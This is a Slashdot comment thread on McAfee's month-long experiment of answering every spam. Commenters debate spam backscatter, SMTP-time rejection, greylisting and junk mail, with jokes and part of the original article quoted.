      Second, the response is only sent once to any one e-mail address.

      Third, the Nigerian spams typically use e-mail addresses for themselves because they want you to get back to them, not to someone else. And that accounts for nearly all of my spam.

      It would be much better to simply drop the connection at SMTP time

      You have to read in the whole thing to be able to check for a proper signature. If the signature checking was performed by sendmail, it woiuld too late to drop the connection by the time it figured out that the message didn't contain a proper PGP signature. And it is a whole lot easier to do the checking between the time the e-mail is accepted and the time it is delivered (or not delivered) to the mailbox.

      Or do like I do, and hold their connection open for a long time before actually dropping it.

      Once the sender has finished sending the message it will disconnect. If you try to hold it open earlier than that, you'll never be able to determine if the e-mail is legitimate.

    4. Re:Please don't by eric76 · · Score: 1

      I'm quite familiar with backscatter.

      The responses do not contain the spam. Not as an attachment. Not as an inclusion. Nothing in the response indicates anything at all about even the subject of the original message.

      The response is a simple request that they encrypt anything sent to my e-mail address.

    5. Re:Please don't by eric76 · · Score: 1

      If a user enters the wrong email-address, we would like to know it ASAP.

      We still receive spam to user accounts that were deleted years ago.

      For any such e-mail accounts here that get much spam, we start filtering on those accounts and automatically add every server sending even one e-mail to any of those accounts to a 24 hour blacklist.

    6. Re:Please don't by XanC · · Score: 1

      Seems like most spam is sent as a joe job. Sending an email only once to each address helps, but it's still a lot of email that shouldn't be sent. Doesn't just that part of it complicate your configuration significantly?

      I don't see why it's easier to do checking between the time a message is accepted and delivered. There's no "too late" to drop a connection; you haven't agreed to accept the mail until you send a 250 OK. Have sendmail check for viruses, spaminess, signatures, etc, and then decide whether to send 250 OK or disconnect.

      The only advantage I see in your method is that it's more likely the Nigerians can play buzzword bingo with email terms.

    7. Re:Please don't by XanC · · Score: 1

      Thanks for the perspective on this.

      I only hold connections open for a long time when the message has tested positive for viruses, has violated an SMTP rule, or achieved a very high spam score. Something simple like an invalid address gets an immediate 550.

    8. Re:Please don't by XanC · · Score: 4, Informative

      But the recipient, it at least many cases, isn't the person who sent the message!

      What good does that do you or them?

      If you reject at SMTP time, the sender (if one really exists) gets a notification from his SMTP server, including whatever string your server put in its 5xx response. If it was a spambot, nobody gets anything at all. Which is how it should be.

      Simply not including the spam itself doesn't absolve you from contributing to massive amounts of email going to people who have nothing to do with anything. And that is still called backscatter.

    9. Re:Please don't by socsoc · · Score: 1

      Yes, it is backscatter.

      Bouncing an illegitimate message to an innocent third party is the core problem. It's still backscatter even though you are crafting a new message.

      With all these requirements, do you receive e-mail from people who are less savvy than the average Slashdot reader?

    10. Re:Please don't by eric76 · · Score: 1

      The point of it is to tell any legitimate senders how they can send their e-mail to me. In the process, my spam load dropped to zero -- not a single spam has been delivered to that account since I began doing this. Maybe one of these days I'll have enough time to figure out how to configure sendmail to do all the necessary checking. I'm not sure I'd agree that most spam is sent as a joe job. Certainly, Nigerian spams are rarely, if ever, sent as joe jobs. They aren't spamming a product. They want you to respond to their message to begin a series of exchanges designed to relieve you of your money. According to today's logs, which I just checked, every spam I received in the past 24 hours appears to have been a Nigerian spam. I can tell you that there have been a few possibly legitimate e-mail addresses that have received the PGP-required notices. Addresses like online@irs.gov, confirm@paypal.com, no-reply@paypal.com, and member@e-bay.com. I'm not going to worry about those.

    11. Re:Please don't by XanC · · Score: 1

      I don't think the spam that gets to your mailbox has anything to do with what your method of notifying the senders is. That's a testament to your filters, and may I say congratulations!

      If that much of your spam is Nigerian, rather than guys sending "from" people's Yahoo accounts, that's weird, but I guess this works for you, then.

      Note that the MTA bounce that a legitimate sender would get when you reject at SMTP time would contain the string you included along with your 5xx code, which could be a URL leading to further instructions.

    12. Re:Please don't by Anonymous Coward · · Score: 0

      Fix your broken mail protocol if you don't like it.

    13. Re:Please don't by eric76 · · Score: 1

      If there is a simple way to handle this automatically from sendmail, I would be interested.

      But it sounds like a whole lot of sendmail macros to handle just this one e-mail address. Or a milter to handle it.

      The problem is that either macros or milters are really designed to handle site-wide policies, not that of individuals. On the other hand, procmail is geared toward handling individual policies, but by then the e-mail has already been accepted by the MTA.

    14. Re:Please don't by eric76 · · Score: 1

      But the recipient, it at least many cases, isn't the person who sent the message!

      Other than certain addresses frequently used in phishing scams, I've never been able to identify a single real e-mail address that has received any of the responses. I watched pretty carefully for the first couple of months.

      It could be that the greylisting that is so successful at avoiding the spambots is cutting out all, or nearly all, of the spam with other people's addresses in the from lines. The logs from the greylisting show tons of what are clearly spams that are never accepted.

      There doesn't seem to be many spambots that handle greylisting. That kind of surprises me because they've had plenty of time to do something about it.

      If I ever see this to be a problem, I'll find something else. But if I can't even find any indication that any third person has ever received one of the responses, I'm not going to worry about it.

    15. Re:Please don't by XanC · · Score: 1

      I've looked into greylisting, but haven't tried it. Sure sounds like it works! Thanks for the info.

      Greylisting certainly changes the economics of spam, which is what I'm trying to do by holding connections open. Dealing with greylisting may cost too much in terms of time and resources for the average spambot. Let's hope things stay that way!

    16. Re:Please don't by XanC · · Score: 1

      That may be a difference. I have quite a small installation, and none of my users are interested in (or capable of) procmail stuff. Although I think exim (which is what I'm using, btw, and do endorse) may have a way to interact with procmail before accepting or rejecting a message. Not sure about that.

    17. Re:Please don't by eric76 · · Score: 1

      Ours is pretty small, too.

      We use sendmail on an OpenBSD server with spamd to handle the greylisting.

      There is one problem with greylisting -- some legitimate servers just try once. Also, some big places with lots of servers typically don't use the same server for the next attempt to deliver a message. So we have to whitelist those.

      In fact, that whitelisting is the one thing that I use spf for. For selected domains from whom we know we need to receive e-mail, we occasionally check to see if they had spf records identifying their e-mail servers. If we do, we whitelist those servers. But that only applies to a very select few domains, not for everyone.

    18. Re:Please don't by Aapje · · Score: 1

      We still receive spam to user accounts that were deleted years ago.

      For any such e-mail accounts here that get much spam, we start filtering on those accounts and automatically add every server sending even one e-mail to any of those accounts to a 24 hour blacklist.

      A normal email may very well be sent to an old email address. The address may come from a website that hasn't been updated in ages, from a contact list or even a business card. Wouldn't it be smarter to set up a few honey pots, where you deliberately put the address on a website (hidden for normal users) and use it to sign up for some free offers.

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    19. Re:Please don't by Anonymous Coward · · Score: 0

      You're a fucking ass too.

      I get tons of backscatter from people who configure their servers like you do. Bounced messages that I never sent. It's because the spammers use a legit e-mail address (mine) in the From: or whatever.

      In other words you're just as bad as the spammer and costing me bandwidth and server space, asshole.

    20. Re:Please don't by totally+bogus+dude · · Score: 1

      What kind of indication are you looking for? How do you identify a "real" email address, as opposed to an unreal one?

      If your automatic replies are never successfully delivered, then what's the point of having your system generate them?

      Unless your auto reply script is only responding to certain emails that clearly do have a reply address which will be read by the spammer, odds are very good you're spamming people yourself.

    21. Re:Please don't by Ford+Prefect · · Score: 1

      Other than certain addresses frequently used in phishing scams, I've never been able to identify a single real e-mail address that has received any of the responses. I watched pretty carefully for the first couple of months.


      Well, you're lucky then.

      My own email addresses have frequently been adopted by spammers as their 'From' addresses - the first I know about it is when I receive a bunch of mailing list server errors, spam bounced messages and out-of-office replies from people I don't know, with '3NL4RGE Y0UR 4PP3ND4GE'-style subject lines.

      It's not backscatter spam, as nothing of the original message (beyond the subject) has survived - and as such, it usually gets past all my spam filters.

      It's terribly annoying. Please don't contribute to it.

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    22. Re:Please don't by Thuktun · · Score: 1

      Unless your auto reply script is only responding to certain emails that clearly do have a reply address which will be read by the spammer, odds are very good you're spamming people yourself.

      This is exactly why I've finally decided to start treating backscatter the same as spam and reporting it as well. In cases of foreign language backscatter, it's very difficult to tell between it and the foreign language spam anyway.

    23. Re:Please don't by Thuktun · · Score: 1

      But the recipient, it at least many cases, isn't the person who sent the message!

      If I ever see this to be a problem, I'll find something else. But if I can't even find any indication that any third person has ever received one of the responses, I'm not going to worry about it.

      In-use addresses in the domains I control are often forged into outbound spams and the amount of backscatter I get back from that is within the same order of magnitude as the spam now. Thanks ever so much for deliberately contributing to the problem.

    24. Re:Please don't by Tim+C · · Score: 1

      For a while I used to get upwards of several hundred failed delivery notifications and similar per day in response to mails sent with a forged From: header that faked an address at a domain I own. The mail server (hosted by a friend) is configured to accept any mail addressed to that domain. (That was on top of spam *to* forged addresses that had clearly been harvested by the recipients of the original spam, bringing my daily total to 2000-3000 mails)

      I got a lot of "confirmation request" type mails, and ignored every single one of them. I would be extremely surprised if no-one has ever received one of your mails in error (as it were).

    25. Re:Please don't by spikedvodka · · Score: 1

      Honestly, I don't see how greylisting fundamentally changes the economics of spam.

      first one assumption:
      1) Most spam is sent by infected PCs

      Now lets analyze how greylisting works in this case:
      As it currently stands,
      1) Joe-Spammer sends out a command, "Spam $MESSAGE to $LIST" (or to $NUMBER addresses)
      2) infected PC says "hokay bass" and starts sending, gets a "Try again Later" message, and drops it, no spam

      lets make one small change
      1) Joe-Spammer crafts/buys/finds an update to his bot, sends out a "Update yourself" command, infected PCs update themselves
      2) Joe-Spammer sends out a command "Spam $MESSAGE to $LIST"
      3) Infected PC says "hokay bass" and starts sending, gets a try again later" message, stores it, and tries again later... presto, spam.

      the spammer doesn't really care, because it's not his computer.

      lets look at "holding connections open" same deal, all it takes is a small update, that once it's done, rather than just sending a QUIT (FIN), it sends a RST packet, sure you can filter out RST packets, but that just holds your end open.

      it's an arms race, and much like the DRM/anti-DRM issue, you're going to find that there are very few *global* tricks that will work.

      Even the GPG trick, while it may work for him, if it becomes prevelant, won't work for long. because *It's not the spammer's computer* it's just another step,
      1) Joe-Spammer sends out "Update yourself command"
      2) infected PC downloads update
      3) send spam,
      4) generate random GPG key (using the already installed GPG software that "everybody" is using
      5) download a set of public keys (oh look, confirmed e-mail addresses) encrypt & sign with newly generated key, poof they get through

      once again, the spammer doesn't care because it isn't his(or her) computer, and with modern computers "cycles are cheap"

      sure we can now detect that a certain key is being used to spam, but by the time that key has been distributed to spam-filters, it won't be used any more.

      IMHO the only real solution is a social-economic one. Train people to not order or even reply to any unsolicited e-mail (and I include those stupid auto-added mailing lists from the likes of walmart, amazon, etc in that list) to the point where there's no reason to send it, and well, "people is dumb" so that ain't never gonna happen.

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    26. Re:Please don't by Anonymous Coward · · Score: 0

      But the recipient, it at least many cases, isn't the person who sent the message!

      Then fix your broken mail protocol to stop that. SMTP is broken and he's only using it as designed.

    27. Re:Please don't by XanC · · Score: 1

      Spammers require a number of resources, all of them finite:


      • Compute time (whether they "own" it or not, it's still a limited resource)
      • Programming time to write their bot (somebody has to write and maintain these things)

      Nobody's claiming that greylisting and holding connections open will reduce spam to zero. But what if greylisting makes it twice as hard to write and maintain a spambot? Wouldn't that reduce spam?

      What if every server that detected spam held the connection open for a couple of minutes? Wouldn't that reduce the amount of spam a compromised machine could send by, say, 10x?

      And if the bot sends a reset instead of a quit, or otherwise does something wrong with SMTP, we've just made them identify themselves as a spammer. Drop that message like a hot potato.

    28. Re:Please don't by eric76 · · Score: 1

      If your automatic replies are never successfully delivered, then what's the point of having your system generate them?

      If the only intention was to send them to spammers, you'd be right. But that's not who the messages are intended for.

      The responses are succesfully delivered -- to real people who send me legitimate e-mail. They then have the option of whether to encrypt their e-mail messages, to contact me via some other method, or to just forget it.

      As for the successful delivery to spammers, I really don't care if they get them or not.

      A certain number of the return addresses used by the Nigerian spammers are yet to be nuked. They get the responses, but none have bothered with PGP.

      There are spammers who use real servers and expect you to opt out of their spam. I think they generally ignore any responses they receive. They just keep doing what they were doing. The first time they receive the message but never actually read it. After that, their spams are just deleted without being saved.

    29. Re:Please don't by eric76 · · Score: 1

      If I ever see any sign that I am contributing to the problem, I will stop immediately or will change what I'm doing. So far, there is no such sign. If the problem does start to show up, one possibility may be to start using SPF records in the checking and not respond with the PGP-required message if there is a SPF record and if the server used does not match. That wouldn't take cre of people who's e-mail addresses are from places without SPF records. In general, though, I'm sufficiently impressed with the SPF approach to use it on all incoming e-mail. One thing that helps is that the grey-listing prefilters out much of the spam zombie sources because they either do not try again or they try again many times, but with different return or from addresses each time. So the vast majority of spam zombie spam never gets through at all. If spam zombies were to start relaying the spam through their local mail servers, the problem would arise. But the idea of spam zombies is to hide under the radar and relaying through their service provider's servers just makes them more visible and more likely to be swatted.

    30. Re:Please don't by Thuktun · · Score: 1

      If I ever see any sign that I am contributing to the problem, I will stop immediately or will change what I'm doing. So far, there is no such sign.

      You've been made aware of the backscatter problem, it's been explained how your activities will contribute to this, but you'll only stop when a recipient of your emails comes up and testifies that you've contributed to the problem?

      This sounds suspiciously like an excuse a spammer might make for sending out unsolicited advertisements. Be careful that you don't become the enemy you claim to be fighting.

    31. Re:Please don't by eric76 · · Score: 1

      You've been made aware of the backscatter problem.

      Actually, I held off doing this for a quite a while out of concern for the problem. When I started, I checked the return addresses on the non-Nigerian spams and the non-phishing scams for quite a ways back. Not a single third party address used as a from address was real.

      Once I started doing this, I watched for signs of backscatter for quite a while and never found any. Also, not a single complaint has been made to the abuse or postmaster accounts, either.

      But like I said elsewhere, the greylisting is likely be filtering out just about every spam or at least the vast majority of spams using other people's addresses.

      Be careful that you don't become the enemy you claim to be fighting.

      Not likely.

      But if I did, do you think Spamford Wallace would remove me from his netscum list? (I wonder if anyone here even knows what that is.)

    32. Re:Please don't by Kelson · · Score: 1

      You have to read in the whole thing to be able to check for a proper signature. If the signature checking was performed by sendmail, it woiuld too late to drop the connection by the time it figured out that the message didn't contain a proper PGP signature.

      No, it wouldn't be too late. Among other things, we do spam checking during the SMTP session by having a milter (MIMEDefang) call out to SpamAssassin. SA needs the entire message, just like a PGP signature check would. The check is done after all the data is sent, but before we accept the message. If SA gives it a high enough score, we issue an SMTP reject instead of accepting it.

      You could definitely do the same thing with PGP checks.

    33. Re:Please don't by eric76 · · Score: 1

      The mail server (hosted by a friend) is configured to accept any mail addressed to that domain.

      The number of bogus addresses here to which attempts are made in any 30 day period is at least an order of magnitude greater than the number of real addresses here.

      The strangest is one particular address used for a short time. For some unfathomable reason, we receive e-mail every day to hundreds of varations of that address with the addition of a random 4 character string of characters immediately in front of the '@' symbol. I've never understood why we see that on that one address and on no others.

      I've extracted 8,069 of those addresses from the logs (I just checked to get the correct number). Any attempt to deliver an e-mail to any of those addresses results in being added to an internal 24 hour blacklist.

      If you don't count those addresses, the number of other bogus addresses to which delivery attempts are made in a 30 day period is still at least an order of magnitude greater than the number of real addresses here.

      If you don't count those addresses, the number of other bogus addresses to which delivery attempts are made in a 30 day period is still at least an order of magnitude greater than the number of real addresses here.

      You may have a point. However, that is such a weird use of e-mail that I'm not sure it is something that needs to be taken account of in such a scheme.

  27. Re:Free PC from MacAfee! Limited Offer! Reply toda by Anonymous Coward · · Score: 0

    hehehehe

  28. Re:Free PC from MacAfee! Limited Offer! Reply toda by Duncan+Blackthorne · · Score: 4, Funny

    A bit, perhaps, but I view it as a practicality: They thoughtfully provide her with a replacement for what used to be her computer, but now is a smoking, virus- and trojan-infected hole in her desk..

  29. Practical Value? by bughunter · · Score: 2, Insightful
    It'd be nice if the experiment had taken a more practical approach.

    For instance, the experiment would have been potentially useful if Penelope Retch had a few honeypot credit cards and bank accounts to give out to spammers and phishing websites.

    Also of interest (at least to /.ers), the address I formerly used in my usenet sig still gets a TON of pornographic spam, promising some rather graphic scenery... and apparently I'm not all that uncommon. Did any of her volunteers reply to the pr0n spam? Did they get a deluge of pornographic material on their doorsteps?

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    1. Re:Practical Value? by Hyppy · · Score: 1

      She did, a fake PayPal account.

  30. One place I bet they didn't go: by Duncan+Blackthorne · · Score: 3, Funny

    I'll bet they didn't go to the site of TFA. Talk about pop-ups! :-/

  31. 2 words by PRMan · · Score: 2, Informative

    Firefox

    Noscript

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    1. Re:2 words by BenoitRen · · Score: 1

      Firefox is not the only web browser than can run extensions, you know. There's also SeaMonkey, Flock, K-Meleon, and a couple others. I'd suggest using the Adblock Plus extension instead, though.

    2. Re:2 words by Miseph · · Score: 1

      ABP is better if you really just want to hose ads, but NoScript is nice because it castrates drive-by installers and various other nasties as well.

      Also, I hold the (apparently unpopular) opinion that advertising is not inherently evil or intrusive, and I'm perfectly happy to have ad-supported pages if it means I don't have to pay for them out of pocket. Granted, NoScript hoses most ads anyway, but i'm OK with the ones it doesn't.

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  32. Flaw in using Business Reply Mail to fight back by KWTm · · Score: 2, Interesting

    I love getting pre-paid business return envelopes in my mail. That way I can just send all the stuff that they send me right back to them. They pay to send it to me, and they pay to get it all back from me.

    I love to do that, too! I've noticed, though, that nowadays a lot of companies have individually printed business reply mail that contains a serial number that probably maps to my name and address (how did they know that my parents, Mr. & Mrs. Resident, named me Current?). If I send it back, they'll know exactly who did it. Technically, that should tell them to stop sending to me since they're just wasting their time, but it proves that I'm reading their ads (rather than just dumping the junk mail), and I would much rather they get the feedback that "the generic recipient" is pissed off at their mass mailing, rather than any one particular person.

    (On a side note: yes, I did try once specifically respond to a charity organization to take me off their list. I said that I would no longer contribute (I had contributed once) and could they please save my sanity --as well as their costs-- by taking me off the list. I kept getting more and more physical junk mail, almost as if they were being encouraged by my entreaties to stop. I threatened to diss them for wasting their income from donations, and I am making good on that threat with this post.)

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    1. Re:Flaw in using Business Reply Mail to fight back by Eunuchswear · · Score: 2, Funny

      On a side note: yes, I did try once specifically respond to a charity organization [food for the poor] to take me off their list. I said that I would no longer contribute (I had contributed once) and could they please save my sanity --as well as their costs-- by taking me off the list. I kept getting more and more physical junk mail, almost as if they were being encouraged by my entreaties to stop. I threatened to diss them for wasting their income from donations, and I am making good on that threat with this post.

      why not send them some food? I'd recommend cheese. It's very nourishing,

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    2. Re:Flaw in using Business Reply Mail to fight back by mcrbids · · Score: 1

      I love to do that, too! I've noticed, though, that nowadays a lot of companies have individually printed business reply mail that contains a serial number that probably maps to my name and address (how did they know that my parents, Mr. & Mrs. Resident, named me Current?). If I send it back, they'll know exactly who did it.

      Yes, but the post office doesn't care about this serial number. So remove it with a scissors, get a few heavy textbooks at the local thriftstore, and send them back to 'em! A single, 20-lb stack of 4 or 5 stale textbooks will cost them over $100 to deliver this way...

      If you want to be REMOVED from their mailing list, leave the code on there!

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    3. Re:Flaw in using Business Reply Mail to fight back by Anonymous Coward · · Score: 0

      I love to do that, too! I've noticed, though, that nowadays a lot of companies have individually printed business reply mail that contains a serial number that probably maps to my name and address (how did they know that my parents, Mr. & Mrs. Resident, named me Current?). If I send it back, they'll know exactly who did it.

      What's the issue with that? Forget the serial number, much of the junk mail I get has return forms pre-printed with my name and address, but it all goes back, torn in half. If they send me more junk it is only costing them more.

      Some people here have suggested including sheets of steel, old books or even coins(!) to put up the weight. I do always include any other junk mail received day which had no return envlope itself. But I am thinking of adding pieces of slate - goes in envelopes easily and those other suggestions cost money. I do sometimes put glue inside the return envelope so the spammers waste five minutes carefully extracting the contents, thinking they'd found a customer.

  33. I dunno by Moraelin · · Score: 1

    Well, I dunno. It sounds like she did figure out that it was junk. Otherwise it would be more like, "OMG, now the Nigerian prince's inheritance will be sent to McAffee's non-existent alias!" ;) Plus, it doesn't say that she answered to any spam before McAffee paid her to. So she must have already figured out there's something fishy about it.

    Way I read it, it's just the difference between having figured something out, and actually seeing it. So to speak, the same difference as between figuring out that the goatse.cx link all over the place must be some kind of trick or scam, and actually seeing it.

    Basically, she's had to wade through the proverbial shit-clogged stables of Augeas. Or the Internet version thereof. Most people seem to assume each other nice, so the sheer amount of nastiness must have been amazing. Even if you know it's there, it's one thing to just know it as an abstract notion and wade through it for an hour or two a day.

    So she says she's amazed. Well, blimey, I'd probably be amazed too.

    There's really nothing there that says "OMG, corporate-brainwashed idiot" in that confession of amazement.

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  34. Re:Birds of a feather. Security Absurdity! by dedazo · · Score: 1, Offtopic

    they give the illusion that user actions make a difference.

    The false conclusion we're supposed to draw from this is that user actions do not make a difference?

    It doesn't matter how much you hate Microsoft twitter, the reality is that the vast majority of malware/trojan infections on Windows PCs are the result of user action, or the lack thereof. Why do you think UAC is so annoying in Vista? Because Microsoft developers had nothing better to do?

    At some point the user has to be responsible for their actions, unless you don't want to let them do anything with their computers. The bad old days when Microsoft software put convenience over security are long gone, so you might want to find a different way to make your case against Windows. The "it's impossible to use securely" argument is getting really tiresome, especially coming from people like you.

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  35. apropos by Eil · · Score: 1

    How appropriate, when I clicked on the link to TFA, the first thing I see is a pop-up ad.

    The irony of getting spammed while trying to read an article about spam...

  36. Has McAffee ever once tried to stop it? by blair1q · · Score: 1

    With all its resources and all its pretense to being anti-spam, has McAffee ever once tried to field a product or service that would trace spam back to its source and try to get it halted?

    Of course not. They're in the business of hauling away the junk you receive. Stopping it from getting to you would lower their revenues.

  37. Re:Point: "Reply" doesn't mean "Hit the reply butt by Anonymous Coward · · Score: 0

    Please don't intentionally add to the spam backscatter.

  38. Orignal Text - Page 1 by erareno · · Score: 1

    I only have page 1 of the original text. Someone else will have to provide page 2.

    For Tracy Mooney (pictured), a married mother of three in Naperville, Ill., the decision to abandon cyber-sense and invite e-mail spam into her life for a month by participating in a McAfee experiment was a bit of a lark.

    The idea of the Spammed Persistently All Month (S.P.A.M.) experiment -- which fittingly started on April Fool's Day -- was to have 50 volunteers from around the world answer every spam message and pop-up ad on their PC.

    What would be the experience in 10 countries when everyday people, armed with a PC and e-mail account McAfee provided for the Global S.P.A.M. Diaries project, clicked through the spam and chronicled the results?

    Mooney -- who had observed the family's PC crippled just before Christmas by a virus -- was game, especially because McAfee was giving a free PC to all participants. She was selected to be among the 50 volunteers picked by McAfee out of 2,000 people who applied to be part of the adventure.

    By the time it was all over, after every bank-account phishing scam, Nigerian bank scheme, and offer for medication, adult content and just plain free stuff had been pursued. "I was horrified," says Mooney, a realtor by profession. "It's all snake oil. I'm amazed at what true junk is out there when you're clicking through on e-mail."

    McAfee is releasing the results Tuesday of its free-wheeling month-long S.P.A.M. experiment, done largely to illustrate -- if you didn't know already -- how spam is connected to malware and criminal activity, not to mention some of the slimiest marketing ever devised. (Compare antispam products.)

    Each S.P.A.M. volunteer saw an average of 70 spam messages arrive in their in-box each day, with men receiving about 15 more per day than women. That was a lot to answer, but "Penelope Retch" -- the alias that Mooney chose for her S.P.A.M. adventure -- answered every single message.

    The spammed life of Penelope Retch

    In her guise as Penelope Retch, Mooney answered the e-mail that came into her account. "I'd see an interactive spam, open it, click on it and asked to be removed. That would only make it worse," she says. "They'd say 'no.'"

    Whether trying to win an iPod online, get free travel brochures, weight-loss tea or Maybelline eyeliner, the effect of entering a home address was extreme. Immediately, a deluge of mail landed at her doorstep, directed to the attention of Penelope Retch.

  39. "...15 more per day than women" by RJFerret · · Score: 1

    From the article, "...men receiving about 15 more per day than women."

    And Randy changes his email profile to female.

    I mean, "And Randi changes her email profile to female."

    -Randi

  40. What Happens When You Reply To ALL of Your Spam? by Eth1csGrad1ent · · Score: 2, Insightful

    OK.... so what happened ?

    All I got from TFA was that she got spammed, and if you dont use McAfee products, you too will end up with 10,000 spam messages a month and your PC will "slow down".

    TFA was a puff piece with absolutely no detail to speak of.

    Title should have read - "Spammed for a month for a free PC"

  41. Source of most of my spam, my web host! by pbhj · · Score: 2, Interesting

    Yeah, my web host actually sold on the admin email I gave them to spammers. Thing is it was a unique address traceable to them. Wonder how much they were paid and by whom. They're quite a big outfit too.

    Can't name them as still migrating one account away.

    1. Re:Source of most of my spam, my web host! by jd · · Score: 1

      Provide the name in encrypted, uuencoded form, then at some (safe) later date, provide the decryption key.

      --
      It's a small world and it smells funny; I'd buy another if it wasn't for the money; Take back what I paid (SoM)
    2. Re:Source of most of my spam, my web host! by Geak · · Score: 1

      They sold it? Not bloody likely. Web hosting companies hate spam just like the rest of us, it causes a lot of problems for them. What likely happened is you didn't subscribe to WHOIS privacy. Guess what - your admin email address is in your WHOIS info, publicly available.

    3. Re:Source of most of my spam, my web host! by pbhj · · Score: 1

      No that would be my whois email address whois@example.com the admin email address is on another domain (in case there are problems with getting emails and I can't get in to my account then I can still get a new password or whatever). It could have been a random guess by the hackers but the domains are not otherwise associated and no other names received the spam.

      Go figure? If you've another suggestion? Perhaps a rogue admin, or a leak (which I asked them about, email was ignored)?

  42. Welcome to my world by kylemonger · · Score: 2, Informative

    According to McAfee, which selected five participants from each of 10 countries for the S.P.A.M. experiment, the five U.S. participants received the most spam: 23,233 messages over the course of the month.

    That's about 50,000 messages shy of what I get every month without replying to spam. Just use the same address on the net for 15 years and you too can bask in the faux adoration that two thousand five hundred spam messages a day can bring.

  43. Re:Free PC from MacAfee! Limited Offer! Reply toda by badasscat · · Score: 2, Funny

    What I find ironic is that on the second page of this story about responding to spam and pop-ups, I got... wait for it... a pop-up.

  44. Networkworld slashdotted by Slashdoot · · Score: 2, Funny

    Anyone else find it amusing that a page on the domain "networkworld" is slashdotted? Perhaps they should focus more on "networktown" or "networkhouse".

  45. Re:Long story short-Limerick version by dirtyforker · · Score: 5, Funny

    In order to win some new RAM
    Tracy replied to all of her spam
    Her account now abounds
    in Nigerian Pounds
    And her cock is the size of Wuhan.

  46. Re:Free PC from MacAfee! Limited Offer! Reply toda by RobertM1968 · · Score: 1

    Well, considering how infected the old PC must be (from opening, clicking on, and responding to all that spam), and the effort (short of wipe and restore) to fix it, I guess they are kinda due new PCs...

  47. Hormel just called by Anonymous Coward · · Score: 2, Funny

    The Prime Minister of Luxemberg gives you notice by his royal Appointment that you have been granted a lifetime supply of the Americanned delight. When finished with the spam, please ring the bell twice for the kitchen or once for the Federal Reserve despository.

    1. Re:Hormel just called by nospam007 · · Score: 4, Funny

      The Prime Minister of Luxemberg gives you notice by his royal Appointment that ...

      Luxembourg is a Grand Duchy.

      The Monarchy Nazi.

    2. Re:Hormel just called by Slashidiot · · Score: 1

      Yes, Luxembourg is a Grand Duchy, and here in Luxembourg we all love Henri, the Grand Duke, but if Mr. Juncker is going to give us some free spam, we are happy to accept.

      --
      Tis women makes us love, Tis Love that makes us sad, Tis sadness makes us drink, And drinking makes us mad.
    3. Re:Hormel just called by Krupuk · · Score: 1

      Juncker would probably blackmail Luxembourg to accept Spam or else he would resign as prime minister.

    4. Re:Hormel just called by Hurricane78 · · Score: 1

      I'm from Luxemburg, you insensitive clod.

      --
      Any sufficiently advanced intelligence is indistinguishable from stupidity.
    5. Re:Hormel just called by Anonymous Coward · · Score: 1, Informative

      I am Luxembourg, you insensitive clod!
      Now get off me. :(

    6. Re:Hormel just called by nospam007 · · Score: 1

      Yep and we call him Lime-Harry, because he plants Lime trees all the time.;-)

  48. Murphy's laws of Combat No 9 by Neanderthal+Ninny · · Score: 2, Informative

    Murphy's Laws of Combat law number nine:
    Never Draw Enemy Fire, It Irritates Your Team Mates

    This is definitely drawing enemy fire, however your team mates are a bunch of dummies. It is interesting no matter what type environment you are in, drawing enemy fire is a stupid thing to do... unless you are in a test environment where everything is sacrificial.
    I had one person here, out of curiosity, reply to one spam message and my mail server got an ton of spam in response to that. I discover responding to spam is like starting a chain reaction in a nuclear device and my guess when you reply to on spam message that it goes to evil botnet network that shares your email address to all of them and they in turn send spam/malware/junk back to you.
    Death to spam and extreme pain to the people who create it. Dying is too good for those people.

    1. Re:Murphy's laws of Combat No 9 by NotmyNick · · Score: 1

      They gave her a sacrificial email address to use.

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      Notmysig
  49. Anyone notice the "print" url by Anonymous Coward · · Score: 1, Interesting
  50. so much for mcafee security by Anonymous Coward · · Score: 0

    "Overall, the most obvious result of the S.P.A.M. experiment was that the PC that McAfee had provided for the project noticeably slowed down, clogged up with spyware, Mooney says."
    I dunno about you, but this is something I would rather NOT have published as a security company...

  51. Re:Birds of a feather. Security Absurdity! by billcopc · · Score: 1, Offtopic

    Do you go around replying to ALL of twitters posts ?

    I dub thee: "Bizarro Twitter"
    [dun-dun-dun!]

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    -Billco, Fnarg.com
  52. Re:Free PC from MacAfee! Limited Offer! Reply toda by duckInferno · · Score: 1

    McAfee provided her with a computer for the project.

    --
    Fool me once, shame on you. Fool me twice, watch it -- I'm huge!
  53. Small Sample Size by Pooua · · Score: 2, Informative

    Five people per country is not a very large sample.

    Incidentally, I get small but regular amount of spam in Russian, Spanish and Chinese.

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    Taking stuff apart since 1969 (TM)
  54. Not for me by Henry+V+.009 · · Score: 2, Funny

    I get more than 5000 spam messages a day. They'd have to give me a lot more than a new PC.

  55. Gee, they don't get much spam. Really. by argent · · Score: 3, Interesting

    the five U.S. participants received the most spam: 23,233 messages over the course of the month.

    I have one of the older private domains on the Internet, and for many years it was running a BBS gatewayed to Usenet, and then providing shell accounts. All the email addresses and Usenet Message IDs sat there like a ticking bomb until spammers started harvesting them. At one point I was getting so much spam I had to block China, Brazil, Argentina, and several ISPs in countries like Spain and Italy because the amount of spam I was getting was putting me over my colo's traffic cap to the tune of $750 a month.

    Looking at my current logs, yesterday, 17197 delivery attempts were blocked by RBL, 24561 attempts by greylisting, and almost 2000 were blocked by content filtering after receipt. And the only users on this box are myself and my family, who got a total of 81 legitimate messages actually delivered.

    That's more messages in one day than they're getting in one month.

    I wish it was only as bad as it was in 1997.

    1. Re:Gee, they don't get much spam. Really. by Terrasque · · Score: 1

      Yeah, my former gmail addy easily beat them, and all because of me using it one place, Joost.

      I did not put that email addy in any other place for at least 4 days before, and within an hour after signing up at joost, I started getting spam, so I'm pretty sure that's where the email was leaked.

      First page on that address shows 50 spam, from 7:29am to 11:12am. And that's what's not filtered. I have an autoreply filter and the google spam filter filtering out messages too. The email account is totally unusable. Quite a lot of it is replies, since spammers use my address as source address :(

      Of course, that does make some interesting mails from time to time, like one that said "STOP SENDING ME SPAM OR I WILL HUNT DOWN AND KILL YOU", and one, which I particulary liked : "I don't have a penis I'm a girl & I'm 16" :D Dont think it helped tho.

      Anyway, that email addy was abandoned, and I bought a domain and set up google mail for that. The trick I've done now is to have lots of aliases, and never use my real email. Some aliases have rules to skip inbox and get tagged. For example register@domain skips inbox and get tagged Register. I only use that to register on sites. And well, they can be my guest spamming it, because I only check it if I expect to get a mail there. If an alias get spammed, I can just delete it. And if somehow my main account get spammed, I can create a new and move my aliases over. All in all a much better solution.

      --
      It's The Golden Rule: "He who has the gold makes the rules."
    2. Re:Gee, they don't get much spam. Really. by argent · · Score: 1

